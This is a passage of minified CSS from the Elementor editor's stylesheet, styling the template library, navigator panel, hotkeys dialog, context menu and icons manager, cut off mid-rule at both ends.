.elementor-template-library-order-input:checked.elementor-template-library-order-reverse + .elementor-template-library-order-label:after { content: "\e8ad"; } #elementor-template-library-templates-container { display: flex; flex-wrap: wrap; align-items: flex-start; } #elementor-template-library-toolbar { display: flex; justify-content: space-between; align-items: center; } .elementor-template-library-filter-toolbar { display: flex; align-items: center; } #elementor-template-library-filter-toolbar-remote { font-size: 11px; } #elementor-template-library-order { display: flex; border-inline-end: var(--e-a-border); } .elementor-template-library-order-label { text-transform: uppercase; padding-inline-end: 22px; -webkit-user-select: none; -moz-user-select: none; user-select: none; } label.elementor-template-library-order-label { cursor: pointer; } label.elementor-template-library-order-label:hover { color: var(--e-a-color-txt-hover); } #elementor-template-library-filter .select2 { text-align: start; width: calc(27px * 5) !important; } #elementor-template-library-filter .select2-selection__rendered { text-transform: capitalize; } #select2-elementor-template-library-filter-subtype-results .select2-results__option { text-transform: capitalize; text-align: start; padding-inline-start: 5px; } #elementor-template-library-my-favorites { flex-grow: 1; text-align: start; padding-inline-start: 20px; } #elementor-template-library-filter-my-favorites { display: none; } #elementor-template-library-filter-my-favorites:checked + #elementor-template-library-filter-my-favorites-label { color: var(--e-a-color-txt-active); } #elementor-template-library-filter-my-favorites:checked + #elementor-template-library-filter-my-favorites-label i:after { color: var(--e-a-color-primary-bold); content: "\e93f"; } #elementor-template-library-filter-my-favorites-label { cursor: pointer; text-transform: uppercase; } #elementor-template-library-filter-my-favorites-label:hover { color: var(--e-a-color-txt-hover); } #elementor-template-library-filter-my-favorites-label:hover i:after { color: var(--e-a-color-primary-bold); } #elementor-template-library-filter-my-favorites-label i { padding-inline-end: 5px; } #elementor-template-library-filter-my-favorites-label i:after { content: "\e923"; } #elementor-template-library-filter-text-wrapper { width: 200px; position: relative; } #elementor-template-library-filter-text-wrapper i { position: absolute; top: 50%; left: 0; transform: translateY(-50%); } #elementor-template-library-filter-text { border: none; border-block-end: var(--e-a-border-bold); border-radius: 0; font-size: 11px; padding: 8px 15px 8px 0; transition: border 0.5s; } #elementor-template-library-filter-text:focus { border-color: var(--e-a-border-color-focus); } #elementor-template-library-filter-text::-moz-placeholder { font-weight: 300; text-transform: uppercase; } #elementor-template-library-filter-text::placeholder { font-weight: 300; text-transform: uppercase; } .elementor-template-library-template-remote { margin: calc(30px / 2); padding: 8px; border: var(--e-a-border); border-radius: 3px; } .elementor-template-library-template-remote:hover { background-color: var(--e-a-bg-hover); } .elementor-template-library-template-remote:hover .elementor-template-library-template-name { display: none; } .elementor-template-library-template-remote:not(:hover) .elementor-template-library-template-preview { opacity: 0; } .elementor-template-library-template-remote:not(:hover) .elementor-template-library-favorite, .elementor-template-library-template-remote:not(:hover) .elementor-template-library-template-action { display: none; } .elementor-template-library-template-remote.elementor-template-library-pro-template .elementor-template-library-template-body:before { content: var(--elementor-template-library-subscription-plan-label); background-color: var(--e-a-color-accent); color: var(--e-a-color-white); position: absolute; text-transform: uppercase; line-height: 1; top: 5px; left: 5px; padding: 3px 5px; font-size: 8px; border-radius: 2px; } .elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp) { position: relative; width: calc(33.333% - 30px); overflow: hidden; } .elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp) img { display: block; width: 100%; } .elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp) .elementor-template-library-template-footer { position: absolute; width: 100%; bottom: 0; right: 0; padding: 10px; background-color: var(--e-a-bg-default); transition: transform 0.5s; } .elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp) .elementor-template-library-template-name { display: none; } .elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp):not(:hover) .elementor-template-library-template-footer { transform: translateY(100%); } .elementor-template-library-template-remote .elementor-template-library-template-body { position: relative; } @media (max-width: 1025px) { .elementor-template-library-template-remote .elementor-template-library-template-body { height: 300px; } } .elementor-template-library-template-remote .elementor-template-library-template-screenshot { height: 100%; background-size: cover; background-position-x: 50%; box-shadow: inset 0px -2px 15px -6px rgba(0, 0, 0, 0.07); } .elementor-template-library-template-remote .elementor-template-library-template-preview { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.5); transition: opacity 0.5s; cursor: pointer; } .elementor-template-library-template-remote .elementor-template-library-template-preview i { font-size: 20px; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); } .elementor-template-library-template-remote .elementor-template-library-template-footer { display: flex; justify-content: space-between; font-size: 11px; line-height: 1; height: 40px; align-items: center; } .elementor-template-library-template-remote .elementor-template-library-template-name { text-align: start; flex-grow: 1; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; padding-inline-end: 5px; } .elementor-template-library-template-remote .elementor-template-library-favorite { margin-inline-start: auto; } .elementor-template-library-template-remote .elementor-template-library-template-favorite-input { display: none; } .elementor-template-library-template-remote .elementor-template-library-template-favorite-input:checked + .elementor-template-library-template-favorite-label i:before { content: "\e93f"; color: var(--e-a-color-primary-bold); } .elementor-template-library-template-remote .elementor-template-library-template-favorite-label { font-size: 15px; cursor: pointer; } .elementor-template-library-template-remote .elementor-template-library-template-favorite-label:hover i { color: var(--e-a-color-primary-bold); } @media (max-width: 1439px) { .elementor-template-library-template-page, .elementor-template-library-template-lp { width: calc(25% - 30px); } } @media (min-width: 1440px) { .elementor-template-library-template-page, .elementor-template-library-template-lp { width: calc(20% - 30px); } } @media (max-width: 1025px) { .elementor-template-library-template-page, .elementor-template-library-template-lp { width: calc(33.333% - 30px); } } .elementor-template-library-template-page .elementor-template-library-template-body, .elementor-template-library-template-lp .elementor-template-library-template-body { height: 200px; } #elementor-template-library-order-toolbar-local, .elementor-template-library-template-local { display: flex; align-items: center; padding: 0 25px; text-align: start; } #elementor-template-library-order-toolbar-local { margin-block-start: 30px; } #elementor-template-library-order-toolbar-local .elementor-template-library-order-label { line-height: 1; font-size: 10px; font-weight: 500; } .elementor-template-library-template-local { height: 50px; width: 100%; margin-block-start: 1px; transition: background-color 0.3s linear; } .elementor-template-library-template-local:hover { background-color: var(--e-a-bg-hover); } .elementor-template-library-template-local:first-child { border-start-start-radius: 3px; border-start-end-radius: 3px; border-end-start-radius: 0; border-end-end-radius: 0; } .elementor-template-library-template-local:last-child { border-start-start-radius: 0; border-start-end-radius: 0; border-end-start-radius: 3px; border-end-end-radius: 3px; } .elementor-template-library-template-local .elementor-template-library-template-name { font-weight: 500; } .elementor-template-library-template-local .elementor-template-library-template-name, .elementor-template-library-template-local .elementor-template-library-template-meta { padding-inline-end: 20px; } .elementor-template-library-template-local .elementor-template-library-template-name, .elementor-template-library-template-local .elementor-template-library-template-meta, .elementor-template-library-template-local .elementor-template-library-template-preview, .elementor-template-library-template-local .elementor-template-library-template-action { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } .elementor-template-library-template-local .elementor-template-library-template-controls { position: relative; display: flex; align-items: center; } .elementor-template-library-template-local .elementor-template-library-template-controls > div { cursor: pointer; transition: color 0.5s; } .elementor-template-library-template-local .elementor-template-library-template-insert i { margin-inline-end: 3px; } .elementor-template-library-template-local .elementor-template-library-template-control-title { margin-inline-start: 6px; } .elementor-template-library-template-local .elementor-template-library-template-more .elementor-template-library-template-delete:hover { color: var(--e-a-color-danger); } .elementor-template-library-template-local .elementor-template-library-template-more { display: none; position: absolute; background-color: var(--e-a-bg-default); padding: 3px 20px; border-radius: var(--e-a-border-radius); box-shadow: 1px 3px 11px rgba(0, 0, 0, 0.3); top: 100%; left: 0; transform: translateX(-65%) translateY(-7px); z-index: 1; } .elementor-template-library-template-local .elementor-template-library-template-more:before { content: ""; position: absolute; border: solid transparent; border-width: 8px 4px; border-block-end-color: var(--e-a-color-white); transform: translateY(-100%); } .elementor-template-library-template-local .elementor-template-library-template-more > div { margin: 10px 0; font-size: 11px; } .elementor-template-library-template-local .elementor-template-library-template-more a { color: var(--e-a-color-txt); } .elementor-template-library-template-local .elementor-template-library-template-more-toggle { flex-grow: 1; text-align: end; } .elementor-template-library-template-local .elementor-template-library-template-more-toggle i { font-size: 16px; } #elementor-template-library-preview { height: 100%; overflow: hidden; } #elementor-template-library-preview iframe { height: 150%; transform: scale(0.666) translateX(25%) translateY(-25%); } @media (max-width: 1439px) { #elementor-template-library-preview iframe { width: 1440px; } } @media (min-width: 1440px) { #elementor-template-library-preview iframe { width: 1730px; } } .elementor-template-library-blank-icon { font-size: 64px; margin-block-start: 45px; line-height: 1; } .elementor-template-library-blank-icon img { width: 70px; } .elementor-template-library-blank-icon .elementor-template-library-no-results { width: 200px; } .elementor-template-library-blank-title { font-size: 30px; margin-block-start: 20px; } @media (max-width: 1439px) { .elementor-template-library-blank-title { font-size: 25px; } } .elementor-template-library-blank-message { font-size: 18px; margin-block-start: 15px; font-weight: 300; } @media (max-width: 1439px) { .elementor-template-library-blank-message { font-size: 16px; margin-block-start: 10px; } } #elementor-template-library-save-template-form { margin-block-start: 40px; display: flex; align-items: center; justify-content: center; } #elementor-template-library-save-template-form > * { height: 55px; font-size: 16px; } #elementor-template-library-save-template-name { width: 500px; padding-inline-start: 25px; border-start-start-radius: 3px; border-start-end-radius: 0; border-end-start-radius: 3px; border-end-end-radius: 0; } #elementor-template-library-save-template-submit { width: 150px; border-start-start-radius: 0; border-start-end-radius: 3px; border-end-start-radius: 0; border-end-end-radius: 3px; } #elementor-template-library-import-form { width: 95%; padding: 60px; border: 2px dashed var(--e-a-border-color-bold); margin: 35px auto; transition: var(--e-a-transition-hover); } #elementor-template-library-import-form-or { margin-block-start: 15px; font-size: 18px; } #elementor-template-library-import-form-label { margin-block-start: 20px; padding: 15px 35px; display: inline-block; } #elementor-template-library-import-form-input { display: none; } #elementor-template-library-import-form.elementor-drag-over { border-color: var(--e-a-color-primary); } #elementor-template-library-import .elementor-template-library-blank-icon { margin-block-start: 0; } #elementor-template-library-import .elementor-template-library-blank-message { margin-block-start: 20px; } .e-route-library-connect #elementor-template-library-modal .dialog-message { max-height: 95vh; padding: 100px 0 0; min-height: 550px; } #elementor-template-library-connect-logo { font-size: 20px; } #elementor-template-library-connect__button { display: inline-block; position: relative; z-index: 1; margin-block-start: 25px; padding: 12px 24px; font-size: 14px; } #elementor-template-library-connect__background-image-left-1 { right: 22.4%; bottom: -29%; animation: 1.5s fadeIn, 1.5s slideDown, 3.5s mover 1.5s infinite alternate; } #elementor-template-library-connect__background-image-left-2 { right: 46.25%; bottom: -15.5%; animation: 3s fadeIn, 3s slideDown, 2s mover 3s infinite alternate; } #elementor-template-library-connect__background-image-right-1 { left: 37%; bottom: -41%; animation: 2.5s fadeIn, 2.5s slideDown, 2s mover 2.5s infinite alternate; } #elementor-template-library-connect__background-image-right-2 { left: 48%; bottom: -12.5%; animation: 1.5s fadeIn, 1.5s slideDown, 1.5s mover 1.5s infinite alternate; } .elementor-template-library-connect__background-image { position: absolute; } .elementor-template-library-blank-footer { position: absolute; bottom: 70px; left: 50%; transform: translateX(-50%); font-style: italic; color: var(--e-a-color-txt-muted); } @media (max-height: 700px) { .elementor-template-library-blank-footer { display: none; } } #elementor-template-library-footer-banner { padding-block-end: 45px; } #elementor-template-library-footer-banner i { font-size: 56px; margin-block-start: 40px; } #elementor-template-library-footer-banner .elementor-nerd-box-icon { margin-block-start: 70px; } #elementor-template-library-templates-empty { width: 100%; margin-block-start: 40px; } #elementor-template-library-error-dialog .dialog-message { text-align: start; } #elementor-template-library-error-info { margin-block-start: 10px; } @media (max-width: 1439px) { .elementor-template-library-local-column-1 { width: 33%; } .elementor-template-library-local-column-2 { width: 10%; } .elementor-template-library-local-column-3 { width: 15%; } .elementor-template-library-local-column-4 { width: 15%; } .elementor-template-library-local-column-5 { width: 27%; } } @media (min-width: 1440px) { .elementor-template-library-local-column-1 { width: 25%; } .elementor-template-library-local-column-2 { width: 17%; } .elementor-template-library-local-column-3 { width: 17%; } .elementor-template-library-local-column-4 { width: 17%; } .elementor-template-library-local-column-5 { width: 24%; } } @media (max-width: 1024px) { .elementor-template-library-local-column-3 { display: none; } .elementor-template-library-local-column-5 { width: 41%; } } .elementor-tags-list { display: none; position: absolute; width: 260px; max-height: 300px; overflow: auto; padding-block-end: 5px; background-color: var(--e-a-bg-default); box-shadow: var(--e-a-popover-shadow); border: var(--e-a-border); border-radius: 3px; z-index: 10000; } .elementor-tags-list__group-title { font-weight: bold; font-size: 12px; padding: 10px 15px; display: flex; align-items: center; } .elementor-tags-list__group-title .eicon-info-circle { padding-inline-end: 5px; color: var(--e-a-color-primary-bold); font-size: 14px; } .elementor-tags-list__item { font-size: 10px; padding: 6px 15px; cursor: pointer; } .elementor-tags-list__item:before { content: ">"; font-size: 8px; padding-inline-end: 5px; } .elementor-tags-list__item:hover { background-color: var(--e-a-bg-hover); } .elementor-tags-list__teaser { border-block-start: 2px solid var(--e-a-border-color); padding-block-start: 4px; margin-block-start: 4px; } .elementor-tags-list__teaser-text { padding: 2px 15px 8px; line-height: 1.5; font-size: 12px; } .elementor-tags-list__teaser-link { color: var(--e-a-color-primary-bold); text-decoration: underline; font-style: italic; font-weight: bold; } .elementor-dynamic-cover { display: flex; align-items: center; width: 100%; height: 27px; box-sizing: border-box; } .elementor-dynamic-cover__title { padding: 0 8px; flex-grow: 1; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } .elementor-dynamic-cover__settings, .elementor-dynamic-cover__remove { cursor: pointer; transition: var(--e-a-transition-hover); } .elementor-dynamic-cover__settings:hover, .elementor-dynamic-cover__remove:hover { color: var(--e-a-color-txt-hover); } .elementor-control-type-wysiwyg .elementor-dynamic-cover { margin-block-start: 10px; } .elementor-tag-settings-popup { position: absolute; width: 260px; background-color: var(--e-a-bg-default); border: var(--e-a-border); box-shadow: var(--e-a-popover-shadow); z-index: 1; } .elementor-tag-settings-popup:before { content: ""; position: absolute; top: -20px; right: 5px; border: 10px solid transparent; border-block-end-color: var(--e-a-border-color); } .elementor-tag-settings-popup .elementor-control-type-section:first-child { margin: 0; } .elementor-tag-controls-stack-empty { background-color: var(--e-a-bg-default); padding: 10px; font-size: 13px; text-align: center; } .elementor-control-dynamic input { border-start-start-radius: var(--e-a-border-radius); border-start-end-radius: 0; border-end-end-radius: 0; border-end-start-radius: var(--e-a-border-radius); } .elementor-control-dynamic-switcher { display: inline-flex; align-items: center; justify-content: center; flex-shrink: 0; height: 27px; cursor: pointer; border: var(--e-a-border-bold); background: var(--e-a-bg-default); border-inline-start-width: 0; border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; transition: var(--e-a-transition-hover); } .elementor-control-dynamic-switcher:hover { background-color: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } .elementor-control-dynamic-switcher.e-control-tool { height: 20px; border: 0; } .elementor-control-dynamic-switcher-wrapper { display: flex; } .elementor-control-dynamic-switcher .eicon-database { font-size: 12px; } .elementor-control-dynamic-value .elementor-control-tag-area, .elementor-control-dynamic-value .elementor-control-dynamic-switcher, .elementor-control-dynamic-value .e-global__popover-toggle { display: none; } .elementor-context-menu { position: absolute; width: 250px; padding: 5px 0px; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); box-shadow: var(--e-a-popover-shadow); -webkit-user-select: none; -moz-user-select: none; user-select: none; z-index: 101; } .elementor-context-menu-list { display: flex; flex-direction: column; } .elementor-context-menu-list__group { display: flex; flex-direction: column; } .elementor-context-menu-list__group:not(:last-child) { border-block-end: var(--e-a-border); } .elementor-context-menu-list__item { padding: 12px 20px; display: flex; gap: 16px; cursor: pointer; transition: var(--e-a-transition-hover); align-items: center; } .elementor-context-menu-list__item--disabled { cursor: default; opacity: 0.5; color: var(--e-a-color-disabled); } .elementor-context-menu-list__item:not(.elementor-context-menu-list__item--disabled):hover, .elementor-context-menu-list__item:not(.elementor-context-menu-list__item--disabled):focus { background-color: var(--e-a-bg-hover); color: var(--e-a-color-hover); } .elementor-context-menu-list__item__icon { display: none; width: 20px; } .elementor-context-menu-list__item__title { flex-grow: 1; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } .elementor-context-menu-list__item__shortcut { color: var(--e-a-color-txt-muted); } .elementor-context-menu-list__item__shortcut--link-fullwidth { position: absolute; left: 0; top: 0; width: 100%; height: 100%; z-index: 2; cursor: pointer; } .elementor-context-menu-list__item__title, .elementor-context-menu-list__item__shortcut { font-size: 14px; font-style: normal; font-weight: 400; line-height: 1; position: relative; } .elementor-context-menu-list__item.elementor-context-menu-list__item-delete:not(.elementor-context-menu-list__item--disabled):hover > *, .elementor-context-menu-list__item.elementor-context-menu-list__item-delete:not(.elementor-context-menu-list__item--disabled):focus > * { color: var(--e-global-color-danger); } .elementor-context-menu-list__item.elementor-hidden { display: none; } .elementor-context-menu .eicon-pro-icon { color: var(--e-global-color-accent); } #elementor-hotkeys { text-align: start; } #elementor-hotkeys__modal .dialog-buttons-wrapper { display: none; } #elementor-hotkeys__content { display: flex; justify-content: space-between; gap: 70px; padding: 20px 30px; width: 100%; overflow: hidden; } @media (max-width: 1024px) { #elementor-hotkeys__content { flex-direction: column; gap: 20px; padding: 20px; } } .elementor-hotkeys__col { display: flex; flex-direction: column; gap: 20px; width: 100%; } .elementor-hotkeys__header { font-weight: 500; } .elementor-hotkeys__item { display: flex; align-items: center; padding: 20px 10px; } .elementor-hotkeys__item:not(:last-child) { border-block-end: var(--e-a-border); } .elementor-hotkeys__item--label { font-size: 13px; font-weight: 400; flex-grow: 1; } .elementor-hotkeys__item--shortcut { flex-grow: 0; display: flex; gap: 27px; } @media (max-width: 1024px) { .elementor-hotkeys__item--shortcut { gap: 23px; } } .elementor-hotkeys__item--shortcut kbd { position: relative; font-family: unset; background-color: var(--e-a-bg-active); padding: 5px 12px; border-radius: var(--e-a-border-radius); } @media (max-width: 1024px) { .elementor-hotkeys__item--shortcut kbd { padding: 4px 9px; } } .elementor-hotkeys__item--shortcut kbd:not(:last-of-type)::after { content: "+"; position: absolute; left: 0; width: 9px; text-align: center; margin-inline-end: -18px; } @media (max-width: 1024px) { .elementor-hotkeys__item--shortcut kbd:not(:last-of-type)::after { margin-inline-end: -16px; } } .elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp).elementor-template-library-template-floating_button { margin-top: 0 !important; width: calc(25% - 30px); } .ui-resizable-n { top: -5px; } .ui-resizable-e { right: -5px; } .ui-resizable-s { bottom: -5px; } .ui-resizable-w { left: -5px; } .ui-resizable-ne { top: -5px; right: -5px; } .ui-resizable-nw { top: -5px; left: -5px; } .ui-resizable-se { bottom: -5px; right: -5px; } .ui-resizable-sw { bottom: -5px; left: -5px; } .ui-resizable-n, .ui-resizable-s { left: 0; height: 10px; width: 100%; cursor: ns-resize; } .ui-resizable-e, .ui-resizable-w { top: 0; height: 100%; width: 10px; cursor: ew-resize; } .ui-resizable-ne, .ui-resizable-nw, .ui-resizable-se, .ui-resizable-sw { height: 15px; width: 15px; } .ui-resizable-nw, .ui-resizable-se { cursor: nwse-resize; } .ui-resizable-ne, .ui-resizable-sw { cursor: nesw-resize; } .ui-resizable-handle { position: absolute; } .ui-resizable-resizing { pointer-events: none; } body { --e-editor-navigator-width: 240px; --e-editor-navigator-promotion-height: 30px; } #elementor-navigator { position: fixed; top: 100px; width: var(--e-editor-navigator-width); height: 50vh; left: 30px; background-color: var(--e-a-bg-default); border: var(--e-a-border); box-shadow: 0 2px 20px 0 rgba(0, 0, 0, 0.1); -webkit-user-select: none; -moz-user-select: none; user-select: none; overflow: hidden; z-index: 100; display: none; } body.elementor-navigator-docked #elementor-navigator { top: 0; left: 0; height: 100%; } body:not(.elementor-navigator-docked) #elementor-navigator { border-radius: 5px; } #elementor-navigator__inner { height: 100%; display: flex; flex-direction: column; } #elementor-navigator__header { display: flex; align-items: stretch; border-block-end: var(--e-a-border); color: var(--e-a-color-txt-accent); } #elementor-navigator__header__title { flex: 1; text-align: center; font-size: 13px; font-weight: 400; padding: 10px 0; cursor: move; } iframe + #elementor-navigator__header__title, #elementor-navigator__ai-titles + #elementor-navigator__header__title { padding-inline-end: 17.5px; } #elementor-navigator__ai-titles { width: 35px; text-align: center; cursor: pointer; background-color: transparent; border: none; outline: none; } #elementor-navigator__ai-titles:hover { color: #E73CF6; } #elementor-navigator__close, #elementor-navigator__toggle-all { color: var(--e-a-color-txt); background-color: transparent; border: none; outline: 0; padding: 10px; cursor: pointer; transition: color 0.5s; } #elementor-navigator__close:hover, #elementor-navigator__toggle-all:hover { color: var(--e-a-color-txt-hover); } #elementor-navigator__close:focus, #elementor-navigator__toggle-all:focus { color: var(--e-a-color-txt-active); } #elementor-navigator__toggle-all { font-size: 13px; } #elementor-navigator__close { font-size: 11px; } #elementor-navigator__elements { flex-grow: 1; overflow: auto; position: relative; } .elementor-navigator-docked #elementor-navigator__elements { height: calc(100% - 35px); } #elementor-navigator__elements .elementor-nerd-box { padding: 25px; } #elementor-navigator__elements > .elementor-navigator__element-section { border-block-end: var(--e-a-border); } #elementor-navigator__footer { width: 100%; text-align: center; } #elementor-navigator__footer__resize-bar { border-block-start: var(--e-a-border); } .elementor-navigator-docked #elementor-navigator__footer__resize-bar { display: none; } #elementor-navigator__footer__promotion { font-size: 12px; padding: 4px 17px; font-family: "Roboto", sans-serif; color: var(--e-a-bg-logo); min-height: var(--e-editor-navigator-promotion-height); display: flex; justify-content: center; align-items: center; } #elementor-navigator__footer__promotion a { color: var(--e-a-color-accent-promotion); margin-inline-start: 1px; } .elementor-navigator__item { position: relative; display: flex; height: 30px; cursor: pointer; transition: padding 0.5s linear; overflow: hidden; } .elementor-navigator__item:hover, .elementor-navigator__item:focus { background-color: var(--e-a-bg-hover); } .elementor-navigator__item:active { background-color: var(--e-a-bg-active); color: var(--e-a-color-txt-accent); } .elementor-navigator__item[data-locked=true] { cursor: not-allowed; } .elementor-navigator__item:not(.elementor-active) .elementor-navigator__element__list-toggle i { transform: rotate(90deg); } .elementor-navigator__item > * { display: flex; align-items: center; } .elementor-navigator__item + .elementor-navigator__elements { display: none; } .elementor-navigator__elements > .elementor-navigator__element-section, .elementor-navigator__elements > .elementor-navigator__element-container:not(:last-child) { border-block-end: var(--e-a-border); } .elementor-navigator__elements .elementor-empty-view { padding: 10px; } .elementor-navigator__elements .elementor-empty-view__title { margin-inline-start: 23px; font-size: 10px; font-style: italic; } .elementor-navigator__elements .ui-sortable-helper { box-shadow: 1px 2px 5px 0 rgba(0, 0, 0, 0.1); transform: rotate(4deg); background-color: var(--e-a-bg-active); color: var(--e-a-color-txt-accent); pointer-events: none; } .elementor-navigator__elements .ui-sortable-placeholder { background-color: var(--e-a-bg-hover); } .elementor-navigator__element.elementor-dragging-on-child > .elementor-navigator__elements > .elementor-empty-view { border-block-start: var(--e-a-border); } .elementor-navigator__element.elementor-dragging-on-child > .elementor-navigator__elements > .elementor-empty-view .elementor-empty-view__title { display: none; } .elementor-navigator__element.elementor-dragging-on-child > .elementor-navigator__elements > .elementor-empty-view + .ui-sortable-placeholder { display: none; } .elementor-navigator__element:not(.elementor-navigator__element--has-children) .elementor-navigator__element__list-toggle { visibility: hidden; } .elementor-navigator__element:not(.elementor-navigator__element--hidden) > .elementor-navigator__item .elementor-navigator__element__toggle { color: var(--e-a-color-txt-default); } .elementor-navigator__element:not(.elementor-navigator__element--hidden) > .elementor-navigator__item .elementor-navigator__element__toggle:hover { color: var(--e-a-color-txt-hover); } .elementor-navigator__element:not(.elementor-navigator__element--hidden) > .elementor-navigator__item:not(:hover) .elementor-navigator__element__toggle { display: none; } .elementor-navigator__element:not(.elementor-navigator__element--hidden) > .elementor-navigator__item.elementor-editing { background-color: var(--e-a-bg-active); } .elementor-navigator__element__list-toggle { margin-inline-end: 7px; transition: transform 0.3s; } .elementor-navigator__element__element-type { margin-inline-end: 8px; font-size: 14px; } .elementor-navigator__element__title { flex-grow: 1; overflow: hidden; } .elementor-navigator__element__title__text { white-space: nowrap; -webkit-user-select: text; -moz-user-select: text; user-select: text; } .elementor-navigator__element__title__text[contenteditable=true] { outline: none; background-color: var(--e-a-bg-hover); padding: var(--e-admin-border-radius); border: var(--e-a-border); } .elementor-navigator__element__title__text:not([contenteditable=true]) { padding: 3px 0; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } .elementor-navigator__element__toggle { position: absolute; left: 15px; height: 100%; z-index: 0; font-size: 13px; } .elementor-navigator__element__indicators { position: relative; transition: transform 0.5s; padding-inline-start: 5px; z-index: 91; } .elementor-navigator__element__indicators:not(:hover) { transform: translateX(calc(-100% + 8px)); } .elementor-navigator__element__indicator { height: 100%; width: 31px; display: inline-flex; align-items: center; justify-content: center; color: var(--e-a-color-txt); background-color: var(--e-a-bg-default); border-inline-start: var(--e-a-border); } .elementor-navigator__element__indicator:first-child { border-inline-start: 3px solid var(--e-a-border-color-accent); } .elementor-editing .elementor-navigator__element__indicator:first-child { border-color: #242729; } .elementor-navigator__element__indicator:hover { color: var(--e-a-color-txt-hover); } .elementor-navigator__element--hidden .elementor-navigator__element__title, .elementor-navigator__element--hidden .elementor-navigator__element__toggle { opacity: 0.5; } .elementor-navigator__promotion-text { line-height: 18px; } .e-notice-bar { position: absolute; width: 100%; bottom: 0; display: flex; align-items: center; height: 40px; color: #fff; background-color: var(--e-a-color-accent); padding: 0 25px; } .e-notice-bar__message a { text-decoration: underline; color: var(--e-a-color-txt-invert); } .e-notice-bar__message a:hover { color: #D5D8DC; } .e-notice-bar__primary_action { margin-inline: 12px; } .e-notice-bar__primary_action a { background: #ffffff; border-radius: 3px; color: #93003f; padding: 4px 10px; font-size: 11px; } .e-notice-bar__primary_action a:hover { color: #47001e; background: #F1F2F3; } .e-notice-bar__secondary_message, .e-notice-bar__secondary_action { font-size: 11px; } .e-notice-bar__secondary_action { margin-inline: 4px; } .e-notice-bar__secondary_action a { color: #ffffff; text-decoration: underline; } .e-notice-bar__secondary_action a:hover { color: #F1F2F3; } .e-notice-bar__close { cursor: pointer; margin-inline-start: auto; } .e-notice-bar__icon { margin-inline-end: 8px; } .e-notice-bar i { font-size: 16px; opacity: 0.9; } .e-notice-bar i:hover { color: #D5D8DC; } .e-notice-bar a, .e-notice-bar i { transition: var(--e-a-transition-hover); } body:not(.elementor-device-desktop) #e-notice-bar { display: none; } #elementor-fatal-error-dialog .dialog-message a { text-decoration: underline; } #elementor-preview-debug-link-text { display: inline-block; } #elementor-icons-manager-modal .dialog-message { padding: 0; height: 700px; } #elementor-icons-manager-modal .dialog-content { display: flex; } #elementor-icons-manager__wrapper { display: flex; } @media (max-width: 479px) { #elementor-icons-manager__sidebar { display: none; } } #elementor-icons-manager__tab-links { margin-block-start: 30px; } #elementor-icons-manager__upload { margin: 20px 45px; padding-block-start: 35px; border-block-start: var(--e-a-border); display: flex; align-items: center; justify-content: space-between; } @media (max-width: 1439px) { #elementor-icons-manager__upload { margin: 20px 25px; } } #elementor-icons-manager__main { display: flex; flex-direction: column; padding: 30px 80px 0; } @media (max-width: 1439px) { #elementor-icons-manager__main { padding: 30px 50px 0; } } @media (max-width: 479px) { #elementor-icons-manager__main { width: 100%; } } #elementor-icons-manager__search { position: relative; } #elementor-icons-manager__search input { padding: 8px 15px; background-color: transparent; } #elementor-icons-manager__search i { position: absolute; top: 50%; transform: translateY(-50%); left: 15px; } #elementor-icons-manager__tab__wrapper { overflow: auto; margin: 25px -15px 0; padding: 0 15px 15px; } #elementor-icons-manager__tab__title { color: var(--e-a-color-txt); font-size: 16px; font-weight: 500; text-align: start; } @media (max-width: 479px) { #elementor-icons-manager__tab__title { display: none; } } #elementor-icons-manager__tab__content { display: grid; grid-template-columns: repeat(7, 1fr); grid-gap: 20px; margin: 20px 0; } @media (max-width: 1439px) { #elementor-icons-manager__tab__content { grid-template-columns: repeat(6, 1fr); } } @media (max-width: 1024px) { #elementor-icons-manager__tab__content { grid-template-columns: repeat(5, 1fr); } } @media (max-width: 767px) { #elementor-icons-manager__tab__content { grid-template-columns: repeat(4, 1fr); } } @media (max-width: 479px) { #elementor-icons-manager__tab__content { grid-template-columns: repeat(3, 1fr); } } #elementor-icons-manager__promotion { display: flex; align-items: center; flex-direction: column; padding-block-start: 70px; } #elementor-icons-manager__promotion__icon { font-size: 60px; } #elementor-icons-manager__promotion__text { width: 300px; font-size: 16px; padding-block-start: 25px; } #elementor-icons-manager__promotion__link { margin-block-start: 20px; } .elementor-icons-manager__tab-link { padding-block: 15px; padding-inline: 45px 0; font-size: 12px; text-align: start; cursor: pointer; position: relative; } .elementor-icons-manager__tab-link i { font-size: 20px; padding-inline-end: 15px; } @media (max-width: 1024px) { .elementor-icons-manager__tab-link i { display: none; } } .elementor-icons-manager__tab-link:hover { background-color: var(--e-a-bg-hover); } .elementor-icons-manager__tab-link.elementor-active { background-color: var(--e-a-bg-active); color: var(--e-a-color-txt-accent); } .elementor-icons-manager__tab-link.elementor-active:after { content: ""; position: absolute; height: 100%; width: 3px; top: 0; right: 0; background-color: var(--e-a-border-color-accent); } .elementor-icons-manager__tab__item { position: relative; height: 0; padding-block-end: 100%; border: var(--e-a-border); border-radius: 3px; cursor: pointer; transition: var(--e-a-transition-hover); overflow: hidden; } .elementor-icons-manager__tab__item:hover { background-color: var(--e-a-bg-hover); } .elementor-icons-manager__tab__item.elementor-selected { background-color: var(--e-a-bg-active); border-color: var(--e-a-border-color-accent); color: var(--e-a-color-txt-accent); } .elementor-icons-manager__tab__item__content { display: flex; flex-direction: column; align-items: center; width: 100%; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); padding: 1px; } .elementor-icons-manager__tab__item__icon { font-size: 25px; } .elementor-icons-manager__tab__item__name { font-size: 11px; padding: 13px 20px 0; max-width: 100%; white-space: nowrap; 